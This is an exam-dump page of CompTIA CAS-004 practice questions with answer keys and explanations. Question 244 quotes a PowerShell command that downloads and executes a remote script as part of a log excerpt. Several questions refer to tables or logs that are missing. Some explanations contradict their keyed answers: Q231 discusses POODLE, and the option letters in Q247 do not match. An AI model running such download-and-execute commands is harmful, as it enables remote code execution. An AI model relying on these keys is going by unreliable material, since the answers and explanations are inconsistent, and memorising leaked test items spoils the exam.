2024 Updated CAS-004 Tests Engine pdf - All Free Dumps Guaranteed!
Latest CompTIA CASP CAS-004 Actual Free Exam Questions
NEW QUESTION # 231
A company created an external, PHP-based web application for its customers. A security researcher reports that the application has the Heartbleed vulnerability.
Which of the following would BEST resolve and mitigate the issue? (Choose two.)
- A. Deploying a WAF signature
- B. Changing the code from PHP to ColdFusion
- C. Using SSLv3
- D. Updating the OpenSSL library
- E. Fixing the PHP code
- F. Changing the web server from HTTPS to HTTP
Answer: D,E
Explanation:
Heartbleed, BASH and now POODLE - new SSL vulnerability discovered. Researchers from Google have announced the discovery of another major flaw in Web Security. It has been called POODLE and follows hot on the heels of Bash and Heartbleed. The vulnerability is rooted in SSL v3.
NEW QUESTION # 232
A security engineer is reviewing a record of events after a recent data breach incident that Involved the following:
* A hacker conducted reconnaissance and developed a footprint of the company s Internet-facing web application assets.
* A vulnerability in a third-party horary was exploited by the hacker, resulting in the compromise of a local account.
* The hacker took advantage of the account's excessive privileges to access a data store and exfiltrate the data without detection.
Which of the following is the BEST solution to help prevent this type of attack from being successful in the future?
- A. Software composition analysis
- B. Dynamic analysis
- C. Stateful firewall
- D. User behavior analysis
- E. Secure web gateway
Answer: A
Explanation:
Explanation
Software composition analysis (SCA) is the best solution to help prevent this type of attack from being successful in the future. SCA is a process of identifying the third-party and open source components in the applications of an organization. This analysis leads to the discovery of security risks, quality of code, and license compliance of the components. SCA can help the security engineer to detect and remediate any vulnerabilities in a third-party library that was exploited by the hacker, such as updating to a newer and more secure version of the library. SCA can also help to enforce secure coding practices and standards, such as following the principle of least privilege and avoiding excessive privileges for local accounts. By using SCA, the security engineer can improve the security posture and resilience of the web application assets against future attacks. Verified References:
https://www.synopsys.com/glossary/what-is-software-composition-analysis.html
https://www.geeksforgeeks.org/overview-of-software-composition-analysis/
NEW QUESTION # 233
The OS on several servers crashed around the same time for an unknown reason. The servers were restored to working condition, and all file integrity was verified. Which of the following should the incident response team perform to understand the crash and prevent it in the future?
- A. Lessons learned
- B. After-action report
- C. Root cause analysis
- D. Continuity of operations plan
Answer: C
NEW QUESTION # 234
A cybersecurity analyst created the following tables to help determine the maximum budget amount the business can justify spending on an improved email filtering system:
Which of the following meets the budget needs of the business?
- A. Filter TUV
- B. Filter XYZ
- C. Filter GHI
- D. Filter ABC
Answer: C
NEW QUESTION # 235
Which of the following are risks associated with vendor lock-in? (Choose two.)
- A. The vendor can change product offerings.
- B. The client experiences increased interoperability.
- C. The client can seamlessly move data.
- D. The client can leverage a multicloud approach.
- E. The client receives a sufficient level of service.
- F. The client experiences decreased quality of service.
Answer: A,F
NEW QUESTION # 236
The Chief Information Security Officer is concerned about the possibility of employees downloading 'malicious files from the internet and 'opening them on corporate workstations. Which of the following solutions would be BEST to reduce this risk?
- A. Block known malware sites on the web proxy.
- B. Execute the files in the sandbox on the web proxy.
- C. Scan all downloads using an antivirus engine on the web proxy.
- D. Integrate the web proxy with threat intelligence feeds.
Answer: B
Explanation:
Executing the files in the sandbox on the web proxy is the best solution to reduce the risk of employees downloading and opening malicious files from the internet. A sandbox is a secure and isolated environment that can run untrusted or potentially harmful code without affecting the rest of the system. By executing the files in the sandbox, the web proxy can analyze their behavior and detect any malicious activity before allowing them to reach the corporate workstations.
NEW QUESTION # 237
A security analyst notices a number of SIEM events that show the following activity:
Which of the following response actions should the analyst take FIRST?
- A. Disable local administrator privileges on the endpoints.
- B. Disable powershell.exe on all Microsoft Windows endpoints.
- C. Restart Microsoft Windows Defender.
- D. Configure the forward proxy to block 40.90.23.154.
Answer: D
Explanation:
top the data exfiltration and sever all malicious traffic first, and then clean up the internal mess.
NEW QUESTION # 238
An organization wants to perform a scan of all its systems against best practice security configurations.
Which of the following SCAP standards, when combined, will enable the organization to view each of the configuration checks in a machine-readable checklist format for fill automation? (Choose two.)
- A. ARF
- B. OVAL
- C. CPE
- D. XCCDF
- E. CVSS
- F. CVE
Answer: B,D
Explanation:
Reference:
https://www.govinfo.gov/content/pkg/GOVPUB-C13-9ecd8eae582935c93d7f410e955dabb6/pdf/GOVPUB-C13 (p.12) XCCDF (Extensible Configuration Checklist Description Format) and OVAL (Open Vulnerability and Assessment Language) are two SCAP (Security Content Automation Protocol) standards that can enable the organization to view each of the configuration checks in a machine-readable checklist format for full automation. XCCDF is a standard for expressing security checklists and benchmarks, while OVAL is a standard for expressing system configuration information and vulnerabilities. ARF (Asset Reporting Format) is a standard for expressing the transport format of information about assets, not configuration checks. CPE (Common Platform Enumeration) is a standard for identifying and naming hardware, software, and operating systems, not configuration checks. CVE (Common Vulnerabilities and Exposures) is a standard for identifying and naming publicly known cybersecurity vulnerabilities, not configuration checks. CVSS (Common Vulnerability Scoring System) is a standard for assessing the severity of cybersecurity vulnerabilities, not configuration checks. Verified References:
https://www.comptia.org/blog/what-is-scaphttps://partners.comptia.org/docs/default-source/resources/casp-conte
NEW QUESTION # 239
A security analyst needs to recommend a remediation to the following threat:
Which of the following actions should the security analyst propose to prevent this successful exploitation?
- A. Update the antivirus.
- B. Enable TLS 1.2.
- C. Patch the system.
- D. Install a host-based firewall.
Answer: B
NEW QUESTION # 240
A company was recently infected by malware. During the root cause analysis. the company determined that several users were installing their own applications. TO prevent further compromises, the company has decided it will only allow authorized applications to run on its systems. Which Of the following should the company implement?
- A. Permit listing
- B. Access control
- C. HIPS
- D. Signing
Answer: A
NEW QUESTION # 241
An organization is preparing to migrate its production environment systems from an on-premises environment to a cloud service. The lead security architect is concerned that the organization's current methods for addressing risk may not be possible in the cloud environment.
Which of the following BEST describes the reason why traditional methods of addressing risk may not be possible in the cloud?
- A. Risks to data in the cloud cannot be mitigated.
- B. Specific risks cannot be transferred to the cloud provider.
- C. Migrating operations assumes the acceptance of all risk.
- D. Cloud providers are unable to avoid risk.
Answer: B
Explanation:
Reference: https://arxiv.org/ftp/arxiv/papers/1303/1303.4814.pdf
NEW QUESTION # 242
A company is deploying multiple VPNs to support supplier connections into its extranet applications. The network security standard requires:
* All remote devices to have up-to-date antivirus
* An up-to-date and patched OS
Which of the following technologies should the company deploy to meet its security objectives? (Select TWO)_
- A. NIDS
- B. WAF
- C. NGFW
- D. Bastion host
- E. Reverse proxy
- F. NAC
Answer: A,F
NEW QUESTION # 243
An organization is developing a disaster recovery plan that requires data to be backed up and available at a moment's notice.
Which of the following should the organization consider FIRST to address this requirement?
- A. Identify critical business processes and determine associated software and hardware requirements.
- B. Design an appropriate warm site for business continuity.
- C. Hire additional on-call staff to be deployed if an event occurs.
- D. Implement a change management plan to ensure systems are using the appropriate versions.
Answer: A
Explanation:
When developing a plan, the first thing to consider is the business process and their impact on operations. A warm site does not make sense even if it were to be first, as a warm site does not replicate in a manner that provides "moments notice" fail over.
NEW QUESTION # 244
A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.psl');whois Which of the following security controls would have alerted and prevented the next phase of the attack?
- A. Reverse proxy and sandbox
- B. Forward proxy and MFA
- C. EDR and application approved list
- D. Antivirus and UEBA
Answer: C
Explanation:
An EDR and whitelist should protect from this attack.
NEW QUESTION # 245
A small business requires a low-cost approach to theft detection for the audio recordings it produces and sells.
Which of the following techniques will MOST likely meet the business's needs?
- A. Performing deep-packet inspection of all digital audio files
- B. Purchasing and installing a DRM suite
- C. Adding identifying filesystem metadata to the digital audio files
- D. Implementing steganography
Answer: D
NEW QUESTION # 246
A security analyst receives an alert from the SIEM regarding unusual activity on an authorized public SSH jump server. To further investigate, the analyst pulls the event logs directly from /var/log/auth.log: graphic.ssh_auth_log.
Which of the following actions would BEST address the potential risks by the activity in the logs?
- A. Alerting the misconfigured service account password
- B. Modifying the AllowUsers configuration directive
- C. Restricting external port 22 access
- D. Implementing host-key preferences
Answer: B
Explanation:
Reference:
The AllowUsers configuration directive is an option for SSH servers that specifies which users are allowed to log in using SSH. The directive can include usernames, hostnames, IP addresses, or patterns. The directive can also be negated with a preceding exclamation mark (!) to deny access to specific users.
The logs show that there are multiple failed login attempts from different IP addresses using different usernames, such as root, admin, test, etc. This indicates a brute-force attack that is trying to guess the SSH credentials. To address this risk, the security analyst should modify the AllowUsers configuration directive to only allow specific users or hosts that are authorized to access the SSH jump server. This will prevent unauthorized users from attempting to log in using SSH and reduce the attack surface. Reference: https://man.openbsd.org/sshd_config#AllowUsers https://www.ssh.com/academy/ssh/brute-force
NEW QUESTION # 247
An architect is designing security scheme for an organization that is concerned about APTs. Any proposed architecture must meet the following requirements:
- Services must be able to be reconstituted quickly from a known-good
state.
- Network services must be designed to ensure multiple diverse layers
of redundancy.
- Defensive and responsive actions must be automated to reduce human
operator demands.
Which of the following designs must be considered to ensure the architect meets these requirements? (Choose three.)
- A. Deployment of IPS services that can identify and block malicious traffic
- B. Emulated hardware architecture usage
- C. Heterogeneous architecture
- D. Establishment of warm and hot sites for continuity of operations
- E. Implementation and configuration of a SOAR
- F. Increased efficiency by embracing advanced caching capabilities
- G. Geographic distribution of critical data and services
- H. Hardened and verified container usage
Answer: E,G,H
Explanation:
B: Geographic distribution of critical data and services will ensure that multiple sites are available to restore data and services in the event of an APT attack. This will also reduce the impact of DDoS attacks by ensuring that traffic is spread across multiple sites.
C: Hardened and verified container usage can help to isolate services from one another and protect them from APT attacks. Containerization can provide a secure and scalable platform for deploying services, which can be reconstituted quickly from a known-good state.
H: Implementation and configuration of a SOAR platform will automate the process of responding to and mitigating APT attacks. The SOAR platform will allow the organization to create a set of automated actions that can be executed in response to security events, reducing the human operator demands.
NEW QUESTION # 248
......
CAS-004 Dumps Updated Practice Test and 445 unique questions: https://pdfexamfiles.actualtestsquiz.com/CAS-004-test-torrent.html
